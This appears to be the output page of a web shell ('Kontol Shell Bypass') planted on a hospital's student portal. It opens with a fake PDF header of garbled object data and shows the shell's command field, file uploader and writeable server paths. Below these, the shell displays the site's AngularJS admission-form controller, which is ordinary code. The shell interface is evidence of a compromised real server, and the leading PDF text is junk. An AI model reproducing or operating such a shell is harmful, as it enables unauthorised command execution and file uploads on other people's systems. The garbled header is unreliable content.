%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/app-js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/app-js/adm_form.js
/** Admission Form Controller **/   
angular.module('MetronicApp').controller("AdmissionForm", function($scope, $http, $timeout, Auth) {
    var cr = this;
    cr.dds = {};
    cr.data = {};
    cr.susat_details = {};
    cr.step3 = { profile_photo: '', signature: '' };
    cr.file_name_arr = { marksheet_ug: [1], marksheet_pg: [1], marksheet_othr: [1] };
    cr.exam='status_12th';
    cr.onStep1Load = () => {
        set_datepicker();
    }

    cr.showUndertakingForm=(exam)=>{
        cr.exam=exam;
        setTimeout(()=>{
            showModalNew($("#undertakingModal"), true, true);
        }, 200);
    }

    cr.undertkingForm=(e, k)=>{
        let v=e.target.value*1;
        cr.data[k]=v+'';
        if(v===0){
            cr.showUndertakingForm(k);
        }
    }

    cr.saveStep1 = function() {
        var frm = $("#step1form");
        var formData = new FormData(frm[0]);
        show_loader();
        $http({ url: API_URL + 'admform/save_step1', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
            function(res) {
                if (res.success) {
                    cr.data.step_completed = res.step_completed;
                    cr.data.final_submitted = res.final_submitted;

                    show_alert_msg(res.msg);
                    $('[href="#Section2"]').click();
                } else {
                    show_alert_msg(res.msg, 'E');
                }
            }
        );
    }

    cr.saveStep2 = function() {
        var frm = $("#step2form");
        var formData = new FormData(frm[0]);
        show_loader();
        $http({ url: API_URL + 'admform/save_step2', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
            function(res) {
                if (res.success) {
                    cr.data.step_completed = res.step_completed;
                    cr.data.final_submitted = res.final_submitted;
                    show_alert_msg(res.msg);
                    $('[href="#Section3"]').click();
                } else {
                    show_alert_msg(res.msg, 'E');
                }
            }
        );
    }

    cr.saveStep3=function(el_name){
        var frm=$("#step3form");
        var formData=new FormData(frm[0]);
        formData.append('el_name', (el_name || ''));
        show_loader();
        $http({url:API_URL+'admform/save_step3', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
            function(res) {
                if(res.success){
                    cr.data.step_completed=res.step_completed;
                    cr.data.final_submitted=res.final_submitted;
                    show_alert_msg(res.msg);
                    cr.data={...cr.data, ...res.result}
                    frm.find("input[type='file']").val('');

                    if(cr.data.step_completed>=3){
                        $('[href="#Section4"]').click();
                    }
                } else {
                    show_alert_msg(res.msg, 'E');
                }
            }
        );
    }

    $scope.uploadPhotoSig=(elId)=>{
        if(!checkImage($('#'+elId)[0], 2)){
            return;
        }
        cr.saveStep3($('#'+elId).attr('name'));
    }

    cr.deleteStep3Img = function(key) {
        if (!confirm("Are you sure to delete this image?")) {
            return true;
        }
        show_loader();
        var formData = new FormData();
        formData.set('field', key);
        //let data = {field: key};
        $http({ url: API_URL + 'admform/delete_step3_img', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
            function(res) {
                if (res.success) {
                    cr.data.step_completed = res.step_completed;
                    cr.data.final_submitted = res.final_submitted;
                    show_alert_msg(res.msg);
                    cr.step3[key] = '';
                    cr.step3[key + '_url'] = '';
                } else {
                    show_alert_msg(res.msg, 'E');
                }
            }
        );
    }

    cr.add_new_file = function(key) {
        cr.file_name_arr[key].push(1);
    }

    cr.delLocalFile = function(name, index) {
        cr.file_name_arr[name].splice(index, 1);
    }

    cr.deleteFile = function(key, name, index) {
        if (confirm("Are You Sure To Delete This File")) {
            var formData = new FormData();
            formData.append("key", key);
            formData.append("name", name);
            show_loader();
            $http({ url: API_URL + 'admform/delete_doc', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
                function(res) {
                    if (res.success) {
                        if (index > -1) {
                            cr.data[key].splice(index, 1);
                        } else {
                            cr.data[key] = '';
                            cr.data[key + '_url'] = '';
                        }
                    } else {
                        show_alert_msg(res.msg, 'E');
                    }
                }
            );
        }
    }

    cr.submitStep4=function(el_name){
        if(el_name==='Step4'){
            if(!cr.data.marksheet_10th_url){
                bootboxAlert("Alert", "10th marksheet/certificate required");
                return;
            }
    
            if(cr.data.ac_dtl.req_12th=='1' && !cr.data.marksheet_12th_url){
                bootboxAlert("Alert", "12th marksheet/certificate required");
                return;
            }
    
            if(cr.data.ac_dtl.req_ug=='1' && !cr.data.marksheet_ug.length){
                bootboxAlert("Alert", "Graduation marksheet/certificate required");
                return;
            }
    
            if(cr.data.ac_dtl.req_pg=='1' && !cr.data.marksheet_pg.length){
                bootboxAlert("Alert", "Post Graduation marksheet/certificate required");
                return;
            }
    
            if(!cr.data.id_proof_img_url){
                bootboxAlert("Alert", "ID proof required");
                return;
            }
        }

        var frm=$("#step4form");
        var formData=new FormData(frm[0]);
        formData.append('el_name', (el_name || ''));
		console.log(formData);
        show_loader();
        $http({ url: API_URL + 'admform/save_step4', method: 'POST', data: formData, headers: {'Content-Type': undefined} }).success(
            function(res) {
                if (res.success) {
                    cr.data.step_completed = res.step_completed;
                    cr.data.final_submitted = res.final_submitted;

                    show_alert_msg(res.msg);
                    cr.data={...cr.data, ...res.result};

                    $("#step4form input[type='file']").val('');
                } else {
                    show_alert_msg(res.msg, 'E');
                }
            }
        );
    }

    cr.susatRegistration = function() {
        let final_submission = $("#susatform");
        var formData = new FormData(final_submission[0]);
        if (!confirm("Are you sure to final submission?")) {
            return;
        }
        // if (!$("#termschk").prop('checked')) {
        //     bootboxAlert("Alert", "Please press (Ok) for confirmation.");
        //     return;
        // }
        show_loader();
        $http({ url: API_URL + 'admform/susatRegistration', method: 'POST', data: formData, headers: {'Content-Type': undefined} }).success(
            function(res) {
                console.log(res)
                if (res.success) {
                    redirect(landingPage(true)+'/dashboard/pre-registration');
                    cr.data.final_submitted = res.final_submitted;
                    show_alert_msg(res.msg);
                    //cr.disableForms();
                } else {
                    show_alert_msg(res.msg, 'E');
                }
            }
        );
    }

    cr.disableForms = function() {
        if (cr.data.final_submitted) {
            setTimeout(() => {
                $("#step1form, #step2form, #step3form, #step4form").find("input, select, textarea, button").prop('disabled', true);
            }, 200);
        }
    }

    cr.init = function() {
        set_datepicker();
        show_loader();
        $http({ url: API_URL + 'admform/init' }).success(
            function(res) {
                if (!res.success) {
                    show_alert_msg(res.msg, 'E');
                    $state.go('dashboard');
                    return;
                }

                cr.dds = res.dds;
                cr.data = res.data;
                cr.susat_details = res.susat_details;
                console.log(cr.data);
                setTimeout(function() {
                    cr.disableForms();
                }, 1000);
            }
        );
    }
    cr.init();
});


/** Non Angular **/
function setBoardsDD(data, b10, b12, bdip) {
    var e = '<option value="">Select Board</option>';
    $.each(data, function(k, v) {
        e += '<option value="' + v.id + '">' + v.title + '</option>';
    });
    e += '<option value="-1">Other</option>';
    $("[name='board_id_10th'],[name='board_id_12th'],[name='board_id_dip']").html(e);
    $("[name='board_id_10th']").val(b10);
    $("[name='board_id_12th']").val(b12);
    $("[name='board_id_dip']").val(bdip);
}

function setUniDD(data, uug, upg) {
    var e = '<option value="">Select University</option>';
    $.each(data, function(k, v) {
        e += '<option value="' + v.id + '">' + v.title + '</option>';
    });
    e += '<option value="-1">Other</option>';
    $("[name='university_id_ug'],[name='university_id_pg']").html(e);
    $("[name='university_id_ug']").val(uug);
    $("[name='university_id_pg']").val(upg);
}

function uploadDoc(ob){
	console.log(ob);
    if(!checkImagePdf(ob)){
        return;
    }
    angular.element(ob).scope().cr.submitStep4($(ob).attr('name'));
}

//EOF

Kontol Shell Bypass